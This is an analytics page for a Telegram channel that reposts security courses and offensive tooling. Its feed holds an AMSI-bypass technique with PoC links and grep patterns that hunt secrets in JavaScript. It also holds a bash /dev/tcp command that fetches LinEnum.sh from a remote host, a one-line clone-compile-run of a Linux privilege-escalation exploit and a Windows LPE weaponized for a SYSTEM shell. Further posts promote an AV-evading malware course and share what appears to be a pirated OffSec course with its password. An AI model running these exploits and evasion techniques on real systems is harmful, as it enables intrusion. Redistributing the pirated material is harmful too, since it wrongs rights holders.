All Security Engineering Courses
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This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
Show more📈 Analytical overview of Telegram channel All Security Engineering Courses
Channel All Security Engineering Courses (@allsecurityengineeringcourses) in the English language segment is an active participant. Currently, the community unites 19 203 subscribers, ranking 6 659 in the Technologies & Applications category and 34 121 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 19 203 subscribers.
According to the latest data from 16 September, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 106 over the last 30 days and by 0 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 16.25%. Within the first 24 hours after publication, content typically collects N/A% reactions from the total number of subscribers.
- Post reach: On average, each post receives 0 views. Within the first day, a publication typically gains 0 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 0.
- Thematic interests: Content is focused on key topics such as git, strace, github, linux, docker.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
Thanks to the high frequency of updates (latest data received on 17 September, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
19 203
Subscribers
No data24 hours
+217 days
+10630 days
Posts Archive
Repost from N/a
🛡 AMSI Bypass via Page Guard
Patchless-техника обхода AMSI — без перезаписи байтов AmsiScanBuffer и без hardware breakpoints в базовом варианте.
Суть: через
NtProtectVirtualMemory на страницу памяти, содержащую AmsiScanBuffer, ставится PAGE_GUARD. При доступе к этой странице возникает STATUS_GUARD_PAGE_VIOLATION, который перехватывается через VEH.
Если исключение пришло именно на AmsiScanBuffer, хэндлер подменяет результат на AMSI_RESULT_CLEAN и делает early return, эмулируя завершение функции без патча её байтов.
Так как guard-page — одноразовая ловушка, после первого срабатывания защита снимается. Поэтому в обработчике дополнительно используется Trap Flag: затем ловится STATUS_SINGLE_STEP, и PAGE_GUARD навешивается повторно.
Итог: байты функции остаются нетронутыми, а Dr0–Dr3 в этом варианте не используются, поэтому исчезают артефакты, характерные для inline patching и классических HWBP-обходов. Но это не означает «недетектируемость» вообще — современные поведенческие детекты всё ещё возможны.
В улучшенном варианте (VEH²) hardware breakpoint выставляется прямо через CONTEXT.Dr* внутри самого VEH, без вызова SetThreadContext / NtSetContextThread. Это убирает один из заметных telemetry-path, на который отдельно обращают внимание исследователи.
📖 Research
🔗 shigshag.com/blog/amsi_page_guard
🔗 crowdstrike.com/blog/crowdstrike-investigates-threat-of-patchless-amsi-bypass-attacks/
💻 PoC
🔗 github.com/vxCrypt0r/AMSI_VEH
🔗 fluxsec.red/veh-squared-rust
#amsi #evasion #redteam #windows #maldev
Most beginners quit Terraform before building their first real infrastructure.
Not because Terraform is hard - the learning path is just scattered.
So I turned it into a simple 10-day visual roadmap.
Learn Terraform step by step:
Day 1–2 → Fundamentals and workflow
Day 3–4 → Variables, outputs, and state
Day 5–6 → Resources, dependencies, and modules
Day 7–8 → Expressions, lifecycle, and environments
Day 9–10 → Best practices, security, and a real mini project
The goal is simple: learn Terraform by building.
If you’re starting from zero, this roadmap is for you 🚀
https://medium.com/@thetechfusionist/terraform-in-10-days-from-beginner-to-building-real-infrastructure-4ee1da613188
Repost from N/a
😐 Несколько примеров в дополнение к статье по анализу js бандлов
• Извлечение JavaScript файлов из вложенных директорий
find /path/to/your/folders -name "*.js" -exec mv {} /path/to/target/folder/ \;
cat * | grep -rE "apikey|api_key|secret|token|password|auth|key|pass|user"
cat * | grep -rE "eval|document\.write|innerHTML|setTimeout|setInterval|Function"
cat * | grep -rE "location\.href|location\.replace|location\.assign|window\.open"
cat * | grep -rE "XMLHttpRequest|fetch|Access-Control-Allow-Origin|withCredentials" /path/to/js/files
cat * | grep -r "postMessage"
cat * | grep -rE "https?://|www\."
cat * | grep -rE "console\.log|debugger|alert|console\.dir"
cat * | grep -rE "document\.getElementById|document\.getElementsByClassName|document\.querySelector|document\.forms"Repost from N/a
😐 Несколько примеров в дополнение к статье по анализу js бандлов
• Извлечение JavaScript файлов из вложенных директорий
find /path/to/your/folders -name "*.js" -exec mv {} /path/to/target/folder/ \;
cat * | grep -rE "apikey|api_key|secret|token|password|auth|key|pass|user"
cat * | grep -rE "eval|document\.write|innerHTML|setTimeout|setInterval|Function"
cat * | grep -rE "location\.href|location\.replace|location\.assign|window\.open"
cat * | grep -rE "XMLHttpRequest|fetch|Access-Control-Allow-Origin|withCredentials" /path/to/js/files
cat * | grep -r "postMessage"
cat * | grep -rE "https?://|www\."
cat * | grep -rE "console\.log|debugger|alert|console\.dir"
cat * | grep -rE "document\.getElementById|document\.getElementsByClassName|document\.querySelector|document\.forms"Repost from 1N73LL1G3NC3
MiniPlasma (Windows unpatched LPE)
CVE-2020-17103 was apparently not patched or the patch was reversed, regardless this the PoC for an LPE in cldflt.sys, weaponized to spawn a SYSTEM shell. Success rate may vary since it's a race condition.
Repost from N/a
В модуле File Transfers подметил один из интересных способов передачи файлов на linux, через /dev/tcp если вдруг вы сильно ограничены в инструментарии. Версия bash от 2.04 и выше.
Connect to the Target Webserver
exec 3<>/dev/tcp/10.10.10.32/80echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3cat <&3Repost from CyberSecurityTechnologies
#Analytics
#Threat_Research
"Global Report by Kaspersky Security Services: Anatomy of a Cyber World", 2026.
// Effectively prioritize your investment in cybersecurity through understanding your adversaries and the attack methods targeting your industry and region
Repost from N/a
Dirty Frag: Universal Linux LPE
One-line specialgit clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./expRepost from OffSec Exam Resources 👨💻
🟢 eLearnSecurity Mobile Application Penetration
Testing (eMAPT) Notes ANDROID by Joas
Repost from Библиотека Cobalt Strike
15-stage Windows malware development & analysis course in Rust. Red team builds it, blue team detects it. All 15 binaries achieved 0/76 on VirusTotal.
https://github.com/F2u0a0d3/goodboy-framework
#cours #books
OffSec - AI-300 Advanced AI Red Teaming @WickHelps.zip186.96 MB
OffSec - AI-300: Advanced AI Red Teaming🔥🆕
👨💻 Password : @WickHelps
👍 Exam Guide : link
❗️ Backup all channels link
👨💻 Proof of work Link
🚀 Any-Issues: Chat Here
AWS Certified Advanced Networking Official Study Guide Specialty Exam
AWS Certified SysOps Administrator Official Study Guide Associate Exam_Technet24
